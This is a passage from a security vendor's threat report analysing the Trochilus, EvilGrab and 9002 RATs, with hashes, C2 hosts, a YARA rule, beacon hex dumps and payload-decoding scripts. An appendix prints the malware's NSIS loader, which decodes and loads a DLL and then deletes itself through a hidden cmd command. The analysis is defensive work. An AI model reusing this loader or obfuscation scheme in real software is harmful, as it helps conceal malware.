This is the first instance of the Trochilus RAT observed by ASERT. While there is a chance that other threat intelligence analysts have discovered and documented this threat, we are unaware of any public reference to this malware being used in targeted campaigns. Based on the information we have access to, this appears to be a relatively new malware that has yet to be profiled.

- MD5 (Update-Patch0999999.rar) = 282cdf360dc627dac145842e666ea7e5 September 23, 2015
  - MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a
  - MD5 (SqmApi.dll) = abef3efb5972cfe4abdc4a9c99f67f0e
  - MD5 (System.dll) = 6f5257c0b8c0ef4d440f4f4fce85fb1b
  - MD5 (plgus\_res.dll) = 03ef3d0131f27416b17807ab3ccd1556
    - MD5 (data.dat) = 8c67c8b1b149d17bbe3a00c1aa6f940e
    - MD5 (shell.dll) = 304d83e15cce9b8dc826cdee2a96ef62

This malware executes in memory only and the final payload never appears on disk in normal operations, however the binaries can be decoded and are subsequently easier to analyze.

This sample makes an outbound connection to computer.security-centers[.]com at the current IP address of 211.255.32[.]130 on TCP/25 as well as a connection to the previously observed 222.222.222[.]222 on TCP/9999. Sample #4 and sample #6 are very similar (both instances of the Trochilus RAT), and will be covered in greater depth in a later section of this document.

#### Sample #5: Grabber/EvilGrab

While potentially dated, an in-depth analysis of EvilGrab can be found in the Trend Micro document "2Q Report on Targeted Attack Campaigns" from 2013 [5].

- MD5 (Security-Patch-Update.rar) = 76c0285bb89556564594ce1927b837b7 October 9, 2015
  - MD5 (Patch-Update.exe, IEChecker.exe) = 31c52be912b7269255ec669176663136

The final decrypted payload for this malware only executes in memory and never touches disk, but is instead injected into ctfmon.exe. Therefore, analysis of memory dumps for detection and classification may prove fruitful. The following YARA rule can be used to aid such investigations.

// detects instances of EvilGrab aka Grabber malware. // Arbor Networks ASERT Nov 2015

rule evilgrab {

strings: \$str1 = "%cload crypt32.dll error" \$str2 = "Outlook2003\_HTTP" \$str3 = "Outlook2002\_HTTP"

<sup>©</sup> Copyright 2015 Arbor Networks, Inc. All rights reserved.

```
$str4 = "HTTP Server URL"
$str5 = "Outlook2003_IMAP"
$str6 = "Outlook2002_IMAP"
$str7 = "%cget %s 's password error!"
$str8 = "GetTcpTable failed with %d"
$str9 = "<Start Application 2 key>"
$str10 = "<Browser Start and Home key>"
$str11 = "%USERPROFILE%\users.bin"
$str12 = "%c%s|(%s)|%d|%s|%s|%s|%s|%s|%s|%s|%s|%d|%d|%x|%x|%s|"
condition:
8 of them
```

The file inside the RAR, IEChecker.exe, is a DLL file that contains a variety of obfuscation techniques including dynamic string reassembly for the loading of API calls. This sample matches indicators for the EvilGrab malware mentioned by Palo Alto networks [2] but this file has a distinct hash. Incidentally, the threat actors and/or developer of the malware appear to have named it "Grabber" based on development strings found therein. Others have called this malware "Tiger Shark RAT".

The C2 information on this sample (dns[.]websecexp.com, ns[.]websecexp.com, appeur[.]gnway.cc), the mutex (New2010-V3-Uninstall), and the version (v2014-v05) are identical to elements observed in the malware that was profiled by Palo Alto Networks. The Grabber sample also initiates unusual network connections via an HTTP GET request:

Figure 9:	Evilgrab/Grabber malware malformed HTTP beacon
-----------	--

00000000	dd	00	00	00	20	47	45	54	20	2f	20	48	54	54	50	2f	GET	/ HTTP/
00000010	-31	2e	31	0d	0a	41	63	63	65	70	74	3a	20	2a	2f	2a	1.1Acc	ept: */*
00000020	0d	0a	41	63	63	65	70	74	2d	4c	61	6e	67	75	61	67	Accept	-Languag
00000030	65	3a	20	7a	68	2d	63	6e	Od	0a	55	73	65	72	2d	41	e: zh-cn	User-A
00000040	67	65	6e	74	3a	20	4d	6f	7a	69	6c	6c	61	2f	34	2e	gent: Mo	zilla/4.
00000050	30	20	28	63	6f	6d	70	61	74	69	62	6c	65	3b	20	4d	Õ (compa	tible; M
00000060	53	49	45	20	37	2e	30	3b	20	4d	53	49	45	20	38	2e	SIE 7.0;	MSIE 8.
00000070	30	3b	20	57	69	6e	64	6f	77	73	20	4e	54	20	35	2e	0; Windo	ws NT 5.
08000000	31	29	0d	0a	48	6f	73	74	3a	20	75	70	64	61	74	65	1)Host	: update
00000090	2e	6d	69	63	72	6f	73	6f	66	74	2e	63	6f	6d	2f	77	.microso	ft.com/w
0A00000A0	69	6e	64	6f	77	73	75	70	64	61	74	65	2f	76	36	2f	indowsup	date/v6/
000000в0	64	65	66	61	75	6c	74	2e	61	73	70	78	3f	6c	6e	3d	default.	aspx?1n=
000000C0	7a	68	2d	63	6e	0d	0a	43	6f	6e	6e	65	63	74	69	6f	zh-cnc	onnectio
000000D0	6e	3a	20	4b	65	65	70	2d	41	6c	69	76	65	0d	0a	0d	n: Keep-	Alive
00000F0	0a																	

Items of interest in this beacon include the presence of five extraneous bytes prior to the HTTP GET request. These five bytes, plus the Host: header and the Accept-Language header of zh-cn and the unique Microsoft string make for a solid network signature and an addition to YARA rules for malware hunting.

}

#### Sample #6: Trochilus RAT

Sample #4 and #6 are both instances of the newly discovered Trochilus RAT.

- MD5 (Update-Patch.rar) = 4e666c05656080180068f35cc7b026cb October 21, 2015
  - MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a
  - MD5 (SqmApi.dll) = abef3efb5972cfe4abdc4a9c99f67f0e
  - MD5 (plgus\_res.dll) = 34dcfa1fa3e1573b2c401c195fb55833
    - MD5 (shell.dll) = fb1d808c6d332fc8176cfa00a8325341
    - MD5 (data.dat) = 15e16b0659d30e77f21807f779df0f4b

#### Trochilus RAT analysis (samples #4 and #6)

Since sample #4 and #6 are very similar, we will dive deeper into an analysis of sample #4, the first instance of the Trochilus RAT that we encountered, named Update-Patch0999999.rar. Analysis reveals potentially useful timestamps of files inside the RAR - Setup.exe is from March 10, 2014 and the other two files are from September 23, 2015.

Figure 10: Files from unpacked RAR of sample #4, Trochilus RAT

冒 Setup.exe	Mar 10, 2014, 7:13 PM	806 KB	Microsoft Windows application
SqmApi.dll	Sep 23, 2015, 1:20 PM	21 KB	Microsoft dynamic link library
plgus_res.dll	Sep 23, 2015, 1:29 PM	330 KB	Microsoft dynamic link library





The file Setup.exe is a signed binary that appears to be a part of a legitimate Microsoft Security Essentials package (http://binarydb.com/soft/Microsoft-Security-Essentials-v327664/2) that loads a legitimate binary named SqmApi.dll as part of normal operations (sqmapi is inside the binaries import table). When Setup.exe is executed, it quickly loads its own copy, in the local directory, of SqmApi.dll which then generates a popup labeled "success" that prints the string "update install success". This pop-up message has been observed in several of the malware samples contained in this set, and further drives home the "Update" theme of the malware installation tactic that has been observed in filenames.

The SqmApi.dll file executes and generates the network connection to 222.222.222[.]222 on TCP/999 just after generating the "update install success" pop-up message. Next, plgus\_res.dll is loaded and executed with CreateProcessA as seen in the following two images.

Figure 12: SqmApi.dll generates pop-up and initiates network connection

🗾 🗹 🖼		
push	1388h ;	dwMilliseconds
call	ds:Sleep	
push	0 ;	uType
push	offset Caption ;	"success"
push	offset Text ;	"update install success"
push	0 ;	hWnd
call	ds:MessageBoxA	
call	CreateProcessA_pl	gus_res_dll
call	Connect_222_222_2	22 222
push	0 ;	uExitCode
call	ds:ExitProcess	

Figure 13: Execution of SqmApi.dll results in the loading and execution of the file plgus\_res.dll.

push	<pre>offset aPlgus_res_dll ; "plgus_res.dll"</pre>
push	ecx
push	edx
push	offset Format ; "%s%s%s"
push	eax ; Dest
call	ds:sprintf
add	esp, 14h
lea	ecx, [esp+568h+ProcessInformation]
lea	edx, [esp+568h+StartupInfo]
lea	eax, [esp+568h+Dest]
push	ecx ; 1pProcessInformation
push	edx ; 1pStartupInFo
push	ebx ; 1pCurrentDirectory
push	ebx ; lpEnvironment
push	ebx ; dwCreationFlags
push	ebx ; bInheritHandles
push	ebx ; lpThreadAttributes
push	ebx ; 1pProcessAttributes
push	ebx ; 1pCommandLine
push	eax ; lpApplicationName
call	ds:CreateProcessA

Figure 14: Debugger illuminates the use of CreateProcessA to load plgus\_res.dll

CPU - main thread, modul	e sqmapi	
1000117E 68 <u>28300010</u> 10001183 51	PUSH sqmapi.10003028 PUSH ECX	ASCII "plgus_res.dll"
10001184 52 10001185 68 <u>20300010</u> 10001185 50	PUSH EDX PUSH sqmapi.10003020 PUSH Edv	ASCII "XsXsXs"
10001188 FF15 <u>2C200010</u> 10001191 83C4 14	CALL DWORD PTR DS:[<&MSVCRT.sprintf>] ADD ESP,14	msvert.sprintf
10001194 8D4C24 0C 10001198 8D5424 1C	LEA ECX,DWORD PTR SS:[ESP+C] LEA EDX,DWORD PTR SS:[ESP+1C]	
10001190 808424 64040000 100011A3 51 10001104 52	LEH EHX,DWORD FIR SS:LESF+464] PUSH ECX PUSH EDX	
100011A5 53 100011A6 53	PUSH EBX PUSH EBX	
100011A7 53 100011A8 53	PUSH EBX PUSH EEX	
100011AA 53 100011AA 53 100011AB 53	PUSH EBX PUSH EBX	
100011AC 50 100011AD FF15 <u>04200010</u>	PUSH EAX THLL_DWORD_PTR_DS:[<&KERNEL32.CreateProcessA>]	AcLayers.6A9F241B
0011F03C 00000042 B 0011F040 0011F1CC  ⊧±4.	ASCII "Setup"	
0011F044 0011F4D0 "r4. 0011F048 00000000	<pre>ModuleFileName = "C:\EVIL\Campaign\4-Update-Patch CommandLine = NULL</pre>	h09999999∖DEBUGGER∖plgus_res.dll″
0011F04C 00000000 0011F050 00000000	processecurity = NULL pThreadSecurity = NULL InheritHandles = F01SE	
0011F058 00000000 0011F05C 00000000	CreationFlags = 0 pEnvironment = NULL	
0011F060 00000000 0011F064 0011F088 ē≡4.	CurrentDir = NULL pStartupInfo = 0011F088	
0011F068 0011F078 X≣4.	▶ Processinto = 0011F078	

Plgus\_res.dll is actually a Trochilus RAT installation package created using the Nullsoft Installer (NSIS) format. Extracting the contents of plgus\_res.dll with a specific version of 7zip (7z beta 9.38 in this case – later versions did not properly extract every file) allows all of the files to be viewed, including the NSIS installation script itself, created by 7zip as [NSIS].nsi. Shell.dll and data.dat are both obfuscated files. Shell.dll is not an obvious PE file, having been obfuscated via an encoding scheme.





Once the package file plgus\_res.dll is properly decrypted, injected into memory and executed, the malware generates an outbound connection over TCP/25.

Figure 16: Trochilus RAT outbound connection - obfuscated

00000086 bf	bf af af 7e 00 00 00	~	
00000032	35 30 30 20 35 2e 35	5 2e 31 20 45 72 72 6f 72 3a 500 5.5. 1 H	Error:
00000042	20 75 6e 6b 6e 6f 77	7 6e 20 63 6f 6d 6d 61 6e 64 unknown co	ommand
00000052	0d 0a 35 30 30 20 35	5 2e 35 2e 31 20 45 72 72 6f500 5. 5.3	1 Erro
0000062	72 3a 20 75 6e 6b 6e	ie 6f 77 6e 20 63 6f 6d 6d 61 r: unkno wn	comma
00000072	6e 64 0d 0a	nd	
0000008E 56	10 46 29 2f 6b de 19	) a1 df cf 86 49 b3 dd 94 V.F)/kI.	
0000009E 47	0a 4c 89 03 92 c4 2e	96 f7 b2 b9 1e 35 c2 e5 G.L5	
000000AE ff	7c 72 8f ce 32 e9 07	eb e2 b4 a1 03 02 0e 64 . r2	.d
000000BE af	2b 94 1d 61 2c 4f 67	cb 0a c8 b6 5e 1a 3f 97 .+a,0g^.	?.
000000CE 20	ac f0 6e 74 9e fa 6d	/ 08 a9 dc 8f 4d 05 3c 7fntmM	<.
000000DE c9	79 44 ec 57 4d 9a fa	⊨ ec a3 78 ef 08 2c 2a 94 .yD.WMx,∘	*.
000000EE c5	91 ba 20 9b ce 4b 4c	f0 16 9c f5 90 cb 93 6dKL	. m
000000FE 4d	7c c9 08 a7 9b 6e ca	b8 c4 fb 83 73 c5 M ns.	
00000076	35 30 30 20 35 2e 35	5 2e 31 20 45 72 72 6f 72 3a 500 5.5. 1 I	Error:
0000086	20 75 6e 6b 6e 6f 77	7 6e 20 63 6f 6d 6d 61 6e 64 unknown co	ommand
0000096	0d 0a		

It is interesting to note that the first portion of binary data being sent from the compromised machine contains the hex value 0x7e. Following this, a data packet containing 0x7e bytes is sent. In the screenshot observed above, the network destination was no longer online. Therefore, traffic was redirected to a simulated network in order to capture packets.

This malware attempted to evade sandbox analysis on several occasions, and was therefore coaxed to run manually. The malicious code injects into services.exe. The volatility memory forensics framework malfind

plugin was used by ASERT research to determine that services.exe had been tampered with and a memory dump of the malware was extracted. This malware therefore appears to run only in memory and does not leave a footprint on the disk, except in the form of encoded files that do not execute by themselves and are resistant to static file malware detection processes and static analysis.

The Shell.dll file is stored in an encoded manner, with the first 4095 bytes being subject to an XOR-based encoding scheme. The data.dat file was encoded in a very similar manner except the whole file was encoded. In the case of shell.dll and other files recovered from within this batch of RAR files, a cursory analysis that includes running the 'strings' tool over the binaries revealed some artifacts, yet many details (including PE headers) were obfuscated in such a manner that static analysis tools will likely miss the malicious contents.

There are two important values that need to be obtained from the [NSIS].nsi file that correspond to variable \$1 and variable \$2 that are used in an NSIS Integer Operation (IntOp). To use the following script (provided by ASERT) to decode other instances of shell.dll, the values 227 and 240 observed here will need to be replaced with whatever values are present inside the [NSIS].nsi file for the IntOp \$1 and IntOp \$2 functions (see Appendix I for the full contents of a recovered [NSIS].nsi file).

import sys

```
fp = open(sys.argv[1], "rb")
enc_buf = fp.read()
fp.close()
one = 227 # IntOp $1 227 + 0
two = 240 # IntOp $2 240 + 0
three = 0
i = 0
plain = []
for enc_byte in enc_buf:
  if i > 4095:
    break
  three = (one + two) % 255 # IntOp $3 $1 + $2; IntOp $3 $3 % 255
  print "xor key: 0x%x" % three
  plain_byte = ord(enc_byte) ^ three # IntOp $R2 $R2 ^ $3
  plain.append(chr(plain_byte))
  one = two # IntOp $1 $2 + 0
  two = three # IntOp $2 $3 + 0
  i += 1
decrypted = "".join(plain) + enc_buf[4096:]
fp = open(sys.argv[1] + ".decrypted", "wb")
fp.write("".join(decrypted))
fp.close()
```

In this case, the decoded file MD5 is 304d83e15cce9b8dc826cdee2a96ef62 and can more easily be analyzed with IDA Pro or other static analysis tools.

Once clean binaries were extracted by the python script, artifacts revealed a connection to source code shared at <a href="https://github[.]com/5loyd/trochilus">https://github[.]com/5loyd/trochilus</a> known as the Trochilus RAT. Trochilus is a character from Greek mythology that apparently invented the chariot, but the word also means "a kind of small bird" and can refer to several types of hummingbirds. A third meaning comes from architecture, however the exact meaning intended by the developer is unknown.

The NSIS script technique appears to be instrumented inside the builder for Trochilus, named Generator.exe. The default parameters (3 and 5) for the second-layer encoding scheme used by Trochilus were observed in this batch of samples, where the final payload was encoded inside data.dat by a routine called XorFibonacciCrypt. If the USE\_ENCRYPTED\_CORE token is enabled during the build, then this encoding routine is activated.

#### #ifdef USE\_ENCRYPTED\_CORE debugLog(\_T("decrypt dll file")); XorFibonacciCrypt((LPBYTE)content, content.Size(), (LPBYTE)content, 3, 5); #endif

This code can be found in <a href="https://github[.]com/5loyd/trochilus/blob/master/client/servant/shell/Shell.cpp">https://github[.]com/5loyd/trochilus/blob/master/client/servant/shell/Shell.cpp</a>

The source code for Shell.dll can be found at <a href="https://github[.]com/5loyd/trochilus/tree/master/client/servant/shell">https://github[.]com/5loyd/trochilus/tree/master/client/servant/shell</a>

Various memory artifacts found from trochilus-master/client/servant/shell/SvtShell.cpp indicate that the threat actors are at least using this portion of the code. Other artifacts were found from Shell.cpp in the same directory. For example, the data.dat file can be found referenced at https://github[.]com/5loyd/trochilus/tree/master/client/servant/body

The data.dat files built and encoded by Trochilus can be decoded using the following script:

import sys

```
fp = open(sys.argv[1], "rb")
enc_buf = fp.read()
fp.close()
# these are passed as arguments to the decrypt function
key_material_1 = 5
key_material_2 = 3
plain = []
for enc_byte in enc_buf:
    xor_key = (key_material_2 + key_material_1) % 255
    plain_byte = ord(enc_byte) ^ xor_key
```

```
plain.append(chr(plain_byte))
```

key\_material\_2 = key\_material\_1
key\_material\_1 = xor\_key

```
fp = open(sys.argv[1] + ".decrypted", "wb")
fp.write("".join(plain))
fp.close()
```

<u>https://github[.]com/5loyd/trochilus/blob/master/client/servant/body/common.cpp</u> contains a routine called XorFibonacciCrypt that matches code observed inside the DLL and inside the NSIS package configuration:

```
for (DWORD i = 0; i < dwPlainLen; i++)
{
    BYTE xorchar = (last1 + last2) % MAXBYTE;
    last2 = last1;
    last1 = xorchar;
    lpOutput = (lpSource) ^ xorchar;
    lpOutput ++;
    lpSource ++;
}</pre>
```

Figure 17: Trochilus RAT readme file describes basic capabilities



Obtaining the source to the malware provided many insights, including the fundamental README that describes the basic functionality of the RAT (observed in Figure 17). Other researchers and analysts who wish to obtain additional insight should download the code for further analysis. After compiling the source code, the client builder for the Trochilus RAT malware appears as such:

x 💌 [#] [#] basic configuration advanced configuration 基本配置 高级配置 上线方式: ilm"IP>oURLµØÖ. 协议: HTTP 上线地址: 127.0.0.1 端口: port 8081 首连时间: -1 -1 Default 分组名: generate Online Method 生成 Group Name time of first connection IP Address protocol

*Figure 18:* Trochilus RAT builder Generator.exe with Chinese -> English translations

The builder application, named Generator.exe (MD5: 4710c9f5dc156db756dab7e017b0bdb3) provides an option for an IP address (default of 127.0.0.1) and an option to select HTTP, HTTPS, TCP, or UDP. The default port value for all settings is 8081, and the other values are -1. Generating the malware using the default settings (as seen above) results in the creation of a generator.ini file, which provides at-a-glance insight into how these values are used.

Figure 19: Sample Trochilus RAT INI file



A great number of additional insights into this malware are available via the source code for those that wish to perform further investigations. Suffice it to say that this malware is being used in targeted threat operations and deserves additional attention.

It is currently unknown if 5loyd (aka floyd419, using mail floyd419[@]foxmail.com) has any connection to threat actors involved, or is simply providing code that others have used. Several watchers of 5loyd code on github also provide interesting code projects that could be used in advanced campaigns. 5loyd has also contributed to a Windows credential dumping application known as quarkspwdump that may be of interest to advanced threat researchers.

*Figure 20:* Github page for 5loyd where the trochilus RAT code is published



Figure 21: Forum avatar for a user named "floyd419"



The bulk of development activity since the project was shared on github took place between May and July of 2015. OSINT on the e-mail address associated with 5loyd reveal a user named floyd419 that had posted on a Chinese matlab forum [6]. Nothing further was obtained on this author at this time, although a variety of other potentially interesting connections can be observed.

Awareness of the Trochilus RAT seems very low, based on search inquiries. No results were returned in English, however one hit was returned when searching the Chinese webspace [http://weisuo[.]org/?post=136] from a site calling itself Villiage Mudhorse (村里的-草泥马之家). The site discusses various TTPs of system penetration. The first user on the site (http://weisuo[.]org/?author=1), 'c4bbage' posted the contents of the github Trochilus page on May 23, 2015. While 'c4bbage' shows a strong interest in system penetration and related tools, there are no indications that 'c4bbage' is involved in the threat activity described herein. However the site likely helped more people learn about trochilus.

Figure 22: Posting about trochilus RAT on Chinese forum

# Remote control trochilus (shellcode) Author: c4bbage Posted on: 2015-5-23 22:43 Saturday Category: Tools Small set https://github.com/5loyd/trochilus V2010 sp1 compiled with the best.

Initial inspection suggests there may only be two users on this site, author 1 'c4bbage' and author 3 'zcgonvh'. Browsing the page of zcgonvh (<u>http://weisuo[.]org/?author=3</u>) reveals discussions about the China Chopper webshell, known to be used by various Chinese APT actors. This page indicates that zcgonvh is the author of China Chopper. A link to download China Chopper is also present on the site, but the code is inside a password protected ZIP. Despite attempts to utilize the password provided on the page, the password was not accepted. The link that discusses China Chopper is <u>http://weisuo[.]org/?post=49</u>. While this is an interesting bit of information that provides links to other Chinese APT tactics and tools, exploring this further connection is beyond the scope of this document and is left as a future exercise.

Much more insight can be obtained via the source code, however the bottom line is that the Trochilus RAT appears to be relatively new and now that it has been discovered in the wild as part of targeted threat campaign activity, defenders can operate with additional awareness.

#### Malware sample #7: 9002 RAT in Firefox Plugin

An unprofiled instance of the 9002 RAT (3102 variant) was found inside a malicious Firefox plugin found at http://www.uecmyanmar[.]org/plugins/system/jatabs/jatabs/FlashVideoPlayer.php and was submitted to VirusTotal on August 21, 2015 from Japan and later on October 13 from Singapore. This file is no longer present on the UEC website, but provides further insight into threat activity. While the RAT family and variant is the same as discussed by Citizen Lab, this is a distinct sample.

Filename: FlashVideoPlayer.php

MD5: fcd3bec917b1cc095c1f2b06a75c9412

The plugin is built inside a ZIP file construct and contains the following contents:

```
MD5 (bootstrap.js) = bdd4b626ee6f2e15d7c3f80e7677003b
MD5 (chrome.manifest) = 29f3da9349f67129dd66e245d5187b72
MD5 (eZNSMZ8r.exe) = 666522db14a021d1e255cc28c9fd8721
MD5 (install.rdf) = 010922d600054fe89cd1d98b53395d54
MD5 (overlay.xul) = 7f0be0ea9075dda2b318082d14c2181d
```

The malware itself is the eZNSMZ8r.exe file, often misclassified as the Gamarue malware.

The bootstrap.js file references the EXE as follows:

xpi\_guid="{65d5c9ea-f5d6-e277-4254-ce58d766656e}";payload\_name="eZNSMZ8r.exe";

A user installing this Add-on would receive the following warning (when using a recent version of Firefox):

Figure 23: Malicious Firefox add-on notification indicates that the add-on is unverified

		-
🗲 🏚 😜 Firef	ox about:addons	▽
	Caution: This site would like to install an unverified add-on in Firefox. Proceed at your own risk.	×
	Adobe Flash Player	
<i>.</i> 2	Learn more	
	<u>C</u> ancel <u>I</u> nstall	ar
76	Add-o	ns are ap

Ignoring the prompt results in the presence of a fake "Adobe Flash Player" in the Extensions list from within the Firefox about:addons menu.

Figure 24: Artifacts left from unsuccessful installation of the malware

🥑 Mozilla Firefox Start Page	× 🚓 Add-ons Manager × +		
Firefox   about:addo	ns  v C Search	☆ 自 ♥ 4	• <b>^ 9</b>
🖨 Get Add-ons	Searci	h all add-ons	٩
📩 Extensions	Adobe Flash Player	Downloaded	×
🎊 Appearance		•	
🚆 Plugins			

Accepting the risk and clicking on "Install" results in the spawning of two additional processes. One is the aforementioned instance of the malicious binary named eZNSMZ8r.exe (running from C:\Windows\tasks\eZNSMZ8r.exe), which launches another executable named Untitled.exe.

Figure 25: Execution path of the 3102 variant of the 9002 RAT

•••			
4 🛃 firefox.exe	4984	2.45	
🖉 🚰 eZNSMZ8r.exe	2364	0.07	
🗾 Untitled.exe	2112		

Once the malware is successfully installed, there is no indication that an extension is active, as the "Extensions" list in Firefox does not reflect the presence of "Adobe Flash Player" (as seen above, from a non-successful installation). Once Firefox is closed, the malware continues to execute.

The malware makes a DNS query for client.secvies[.]com, which as of this writing resolves to 123.1.181[.]38 but previously resolved to 103.240.203[.]100 from the time period of August 20-25 2015. Since this latter IP address more closely corresponds with the timing scheme associated with the campaign, a review of other resolutions for this IP is of interest and reveals other PlugX activity taking place on the domain googletranslatione[.]com.

A Full table of interesting domain resolutions for this IP and their timestamps is included herein:

Chinarrw[.]com 2015	-11-17 11:16:18	2015-11-17 11:16:18	3	
7caitu[.]com 2015	-11-10 18:38:03	2015-11-10 18:38:03		
www.chinarrw[.]com	2015-11-05 19:1	13:37 2015-11-05	19:13:37	
7caitu[.]com 2015	-10-29 07:22:22	2015-11-04 14:00:47	,	
googletranslatione[.]cc	om 2015-08-04 09:3	39:46 2015-08-25	15:17:56 PlugX	
client.secvies[.]com	2015-08-20 20:1	16:58 2015-08-25	05:02:28 EvilGrab (or othe	r RAT)

As the malware executes, we see the telltale beacon of the 3102 variant of the 9002 RAT as it beacons to the C2, as well as an identifier being send of "UEC 21050816" which likely indicates the date and subject of interest involved in the threat activity. Further into the C2 beacon packet we see information about the compromised machine.

	2.2	24	2.0	2.2	~	0.0	0.0	0.0	0.0	0.0	0.0	0.0	4.0	6.6	6.6	6.6	24.02	
000000000	33	31	30	32	0C	00	00	00	08	00	00	00	19	ΤT	ΤŤ	TT	3102	
00000010	ff	00	00	00	00	11	00	00										
00000018	33	31	30	32	aa	00	00	00	94	02	00	00	00	0e	ff	ff	3102	
000000000	÷÷.	÷÷.	õč	20	00	õõ		00	4 5	20	45	õõ	20	20	55	- Add	3101 111	5 6 2
00000028	TT.	TT.	06	00	00	00	22	00	40	00	43	00	20	00	32	0Q		E.C2.
00000038	30	00	31	00	35	00	30	00	38	00	31	00	36	00	2e	00	0.1.5.0.	8.1.6
00000048	00	0a	c0	a8	39	ca	1c	01	00	00	05	00	00	00	01	50	9	P
00000058	03	00	11	28	0a	00	00	02	00	00	00	53	00	65	00	72	(	s.e.r
00000068	00	76	00	69	00	63	00	65	00	20	00	50	00	61	00	63	.v.i.c.e	P.a.c
0000078	00	6b	00	20	00	33	54	04	20	c1	09	00	03	68	1c	09	.k3T.	h
0000088	01	01	00	4a	00	41	00	49	00	52	00	4f	54	29	0c	50	J.A.I	.R.OT).P
00000098	00	45	00	4a	00	48	00	4b	00	44	00	4f	00	4c	64	04	.E.J.H.K	.D.O.Ĺd.
000000A8	20	<b>c</b> 0	0c	00	08	97	01	00	00	44	00	34	00	2d	00	43		.D.4C
00000B8	94	00	04	30	00	32	00	2d	00	46	8d	01	38	cd	01	43	0.2	.F8C
000000C8	3d	14	04	11	00	00											=	

Figure 26: 3102 variant of the 9002 RAT beaconing to C2 with identifier "UEC 20150816"

#### Recommendations

Malware such as PlugX, the 9002 RAT, EvilGrab, and the newly discovered Trochilus RAT are in use in the wild and are likely providing actors with the tools they need to perform actions on objectives against their targets. Both host and network monitoring processes should be put into place in order to detect these malware families.

While these malware families have clearly been used against other targets (with the exception of Trochilus which requires further research), organizations within and related to Myanmar, or those organizations associated with the UNDP should be aware that they may have been (and may still be) a target and should remain alert to any past or future e-mail messages that might contain spearphish or exploit code in attachments. Due to spearphish delivery in other related campaigns, any mail messages or other content that point users towards interactions with RAR files are also potentially suspicious. Additionally, an investigation should be triggered when such organizations observe network traffic that relates the content described herein.

In general, incident responders and threat intelligence staff should be aware of geopolitical targeting that affects their interests and take appropriate actions. If log files containing malicious activity are available, they can be leveraged to determine threat campaign activity. This allows responders to track spearphish attempts and other exploitation vectors from the source to any targeted systems. Ongoing access to strategic information is often the ultimate goal of threat actors. Determining what strategic information is of interest can help organizations better pinpoint defensive technologies to detect compromise, thus limiting their exposure and exfiltration of sensitive data.

Arbor ASERT is interested in any artifacts from the use of these malware and encourages any customers or other organizations that have been targeted to contact us for additional discussions.

#### Appendix I: NSIS script used to unpack and process Trochilus RAT samples

; NSIS script NSIS-3 ; Install

SetCompressor /SOLID lzma SetCompressorDictSize 8

;-----

; HEADER SIZE: 3976 ; START HEADER SIZE: 300 ; MAX STRING LENGTH: 1024 ; STRING CHARS: 898

OutFile [NSIS].exe !include WinMessages.nsh

SilentInstall silent

;-----

; LANG TABLES: 1 ; LANG STRINGS: 38

Name Test BrandingText "Nullsoft Install System v3.0b2"

; LANG: 1033

LangString LSTR\_0 1033 "Nullsoft Install System v3.0b2" LangString LSTR\_1 1033 "\$(LSTR\_2) Setup" LangString LSTR\_2 1033 Test LangString LSTR\_5 1033 "Can't write: " LangString LSTR\_8 1033 "Could not find symbol: " LangString LSTR\_9 1033 "Could not load: " LangString LSTR\_17 1033 "Error decompressing data! Corrupted installer?" LangString LSTR\_19 1033 "ExecShell: " LangString LSTR\_21 1033 "Extract: " LangString LSTR\_22 1033 "Extract: error writing to file " LangString LSTR\_24 1033 "No OLE for: " LangString LSTR\_25 1033 "Output folder: " LangString LSTR\_29 1033 "Skipped: " LangString LSTR\_30 1033 "Copy Details To Clipboard" installation,\$\r\$\nRetry to try again, or\$\r\$\nIgnore to skip this file." LangString LSTR\_37 1033 Custom

InstType \$(LSTR\_37) ; Custom
; wininit = \$WINDIR\wininit.ini

; -----

<sup>©</sup> Copyright 2015 Arbor Networks, Inc. All rights reserved.

```
; SECTIONS: 1
; COMMANDS: 56
Section RC; Section_0
; AddSize 362
 SectionIn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 R0
 StrCpy $R1 1024
 System::Call "kernel32::ExpandEnvironmentStrings(t $\"%ALLUSERSPROFILE%\WEventsCache$\",t.R1,i
1024)"
 ; Call Initialize___
                   Plugins
 ; SetOverwrite off
 ; File $PLUGINSDIR\System.dll
 ; SetDetailsPrint lastused
 ; Push "kernel32::ExpandEnvironmentStrings(t $\"%ALLUSERSPROFILE%\WEventsCache$\",t .R1,i 1024)"
 ; CallInstDLL $PLUGINSDIR\System.dll Call
 StrCpy $INSTDIR $R1
 SetOutPath $INSTDIR
 SetOverwrite on
 File shell.dll
 File data.dat
 FileOpen $R1 $INSTDIR\Shell.dll a
 IntOp $1 105 + 0
 IntOp $2 141 + 0
 IntOp $30+0
 StrCpy $R30
 Goto label_17
label 16:
 IntOp $R3 $R3 + 1
label_17:
 IntCmp $R3 4095 0 0 label_29
 IntOp $3 $1 + $2
 IntOp $3 $3 % 255
 FileReadByte $R1 $R2
 FileSeek $R1 -1 CUR
 IntOp $R2 $R2 ^ $3
 FileWriteByte $R1 $R2
 IntOp $1 $2 + 0
 IntOp $2 $3 + 0
 Goto label_16
 Goto label_16
 Goto label_29
label_29:
 FileClose $R1
 System::Call "$INSTDIR\Shell.dll::Init(i 1)"
 ; Call Initialize____Plugins
 ; SetOverwrite off
 ; AllowSkipFiles off
 ; File $PLUGINSDIR\System.dll
 ; SetDetailsPrint lastused
 : Push "$INSTDIR\Shell.dll::Init(i 1)"
 ; CallInstDLL $PLUGINSDIR\System.dll Call
 System::Call "kernel32::GetModuleFileName(i0,t.R1,i1024)"
                    _Plugins
 ; Call Initialize_
 ; File $PLUGINSDIR\System.dll
```

: SetDetailsPrint lastused ; Push "kernel32::GetModuleFileName(i 0,t.R1,i 1024)" ; CallInstDLL \$PLUGINSDIR\System.dll Call ExecShell open cmd.exe "/c ping 127.0.0.1&del \$\"\$R1\$\"" SW\_HIDE ; "open cmd.exe" SectionEnd /\* Function Initialize \_Plugins SetDetailsPrint none StrCmp \$PLUGINSDIR "" 0 label\_52 Push \$0 SetErrors GetTempFileName \$0 Delete \$0 CreateDirectory \$0 IfErrors label\_53 StrCpy \$PLUGINSDIR \$0 Pop \$0 label\_52: Return label 53: MessageBox MB\_OK | MB\_ICONSTOP "Error! Can't initialize plug-ins directory. Please try again later." / SD IDOK Quit FunctionEnd \*/

NOTE: a possibly imperfect reconstruction of the NSIS script results in artifacts below.

